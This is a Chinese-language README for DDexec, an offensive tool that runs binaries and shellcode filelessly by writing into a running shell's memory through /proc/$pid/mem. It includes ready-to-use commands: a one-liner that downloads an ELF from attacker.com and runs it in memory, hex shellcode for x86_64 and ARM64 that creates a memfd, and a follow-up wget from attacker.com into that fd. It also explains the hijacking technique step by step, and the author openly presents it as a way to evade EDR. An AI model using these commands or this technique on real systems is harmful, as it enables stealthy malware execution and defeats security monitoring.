我对 DDexec 进行了大量更新,以至于几乎认不出它了——ELF 的解析现在由机器码完成,而不是由 shell 脚本完成,这使得它更快、更可靠且更易于理解。同时,它的依赖数量也减少到了最低限度。
现在它几乎不依赖 shell 的算术运算,这可能使其能够在 Android 上工作。
在 Linux 中,要运行一个程序,它必须作为一个文件存在,必须能够以某种方式通过文件系统层级访问(这就是 execve() 的工作方式)。这个文件可以位于磁盘上或内存中(tmpfs、memfd),但你需要一个文件路径。这使得控制 Linux 系统上运行的程序变得非常容易,这使得检测威胁和攻击者的工具变得简单,或者阻止他们尝试执行任何自己的程序(例如,不允许非特权用户在任何地方放置可执行文件)。
好吧,如果你无法启动你想要的进程……那么你就劫持并折磨一个已经存在的进程,直到它满足你的愿望。
将要运行的二进制文件通过管道传递给 ddexec.sh 脚本。脚本的参数是程序的参数(从 argv[0] 开始)。
来,试试这个:
bash ddexec.sh ls -lA < /bin/ls
可以很容易地用类似这样的方式武器化:
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
还有一个 ddsc.sh 脚本,允许你直接运行机器码。
以下是一个使用 shellcode 创建 memfd(一个指向内存中文件的文件描述符)的示例,之后我们可以向其中写入二进制文件并运行它们,显然是在内存中。
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
在 ARM64 上,过程相同。
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
已测试的 Linux 发行版包括 Debian、Alpine 和 Arch。支持的 shell 是 bash、zsh 和 ash(busybox);支持的架构是 x86_64 和 aarch64(arm64)。
截至 2022 年 12 月 12 日,我发现了一些 dd 的替代品,其中一个是 tail,目前是用于通过 mem 文件进行 lseek() 的默认程序(这是使用 dd 的唯一目的)。这些替代品包括:
tail
hexdump
cmp
xxd
通过设置变量 SEEKER,你可以更改所使用的 seeker,例如:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
如果你找到了另一个有效的 seeker 但脚本中尚未实现,你仍然可以通过设置 SEEKER_ARGS 变量来使用它:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
挡住这些东西,EDRs。
此脚本依赖以下工具才能工作。
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | 任何其他允许我们通过 fd 进行 seek 的程序
对于 ash 的情况,tail、dd、hexdump、cmp 和 xxd 是内建命令,因此它们实际上不是依赖项。
注意:它仅适用于现代版本的 busybox,不确定最旧的版本,没有查过。我知道它适用于 v1.35.0,但不适用于 v1.30.0。
如果你能够任意修改进程的内存,那么你就可以接管它。这可以用来劫持一个已经存在的进程,并用另一个程序替换它。我们可以通过使用 ptrace() 系统调用来实现这一点(这要求你有能力执行系统调用,或者系统上可用 gdb),或者更有趣的是,写入 /proc/$pid/mem。
文件 /proc/$pid/mem 是进程用户空间地址空间的一一映射(例如,在 x86-64 中从 0x0 到 0x7ffffffffffff000)。这意味着在此文件的偏移量 x 处读取或写入,等同于在虚拟地址 x 处读取或修改内容。
现在,我们面临三个基本问题:
但我们有巧妙的解决方案:
mem 文件且具有写权限的文件描述符……这样使用该 fd 的子进程将能够修改 shell 的内存。maps 文件,以获取有关进程地址布局的信息。lseek()。在 shell 中,这可以通过一些常见的二进制文件实现,比如 tail 或臭名昭著的 dd,更多信息请参见 EverythingExec 部分。步骤相对简单,不需要任何专业知识就能理解:
/proc/$pid/syscall 获取进程在当前系统调用完成后将返回的地址——由于我们正在读取此文件,该 syscall 将是 read(),而地址将在 libc 的 read() 包装函数中。这只是为了找到一个位置,我们的驻扎程序将很快出现在那里。mem 我们可以修改不可写的页面)。这个驻扎程序将读取并执行一个较大的 shellcode。execve() 时相同的步骤:
shellcode 是通过编译 loader.c 并调整其汇编代码以移除和简化编译器引入的大量工件而生成的。
嗯,还有几个待办事项。除此之外,你可能已经注意到我对 shell 脚本编写了解不多(我本人更倾向于 C 编程),我确信仅凭这个项目的一小部分,我就已经赢得了价值十年的“猫的无用使用”奖项——在制作此工具的过程中没有猫受到伤害——以及其他变体。
——移植到其他 shell ——在极限情况下,我们应该使脚本符合 POSIX 标准。
无论如何,欢迎 fork 并提交 PR。但在贡献时,请考虑到如果 PR 导致工具无法在支持的 shell 上工作,将不会被接受,那不是贡献,只是破坏东西。最好让你的更改符合 POSIX 标准。
只是……请,请,请,检查你的代码,确保它至少在 Debian 和 Alpine 上能在支持的 shell 上工作。只是一些 Docker 而已。
在发布此工具后,我得知 Sektor7 早在几年前就已经在他们的博客上 发布 了几乎完全相同的技术。
尽管如此,我几乎是独立想到了这项技术,现在几乎可以说是完整的。这项技术中可能最巧妙的部分是使用了继承的文件描述符,这个想法是由 David Buchanan 在 Twitter 上 提供 的(受到 Sektor7 博客的启发),几乎在我开始思考这个主题一年之前。仅这一点不仅使该技术更简单、更简洁,而且通过消除禁用 ASLR 的需要,使其更加致命。
不管怎样,我希望我能进一步传播这项技术,这才是最重要的。
我要感谢 Carlos Polop,一位伟大的渗透测试员和更好的朋友,是他让我思考这个主题,并感谢他宝贵的反馈和兴趣,哦,我还欠他项目名称。我相信如果你正在阅读这篇文章,你已经使用过他出色的工具 PEASS,并在他的书 HackTricks 中找到了一些有用的文章。
你可以:
mem 文件支持的内核。你可以通过 Twitter 联系我。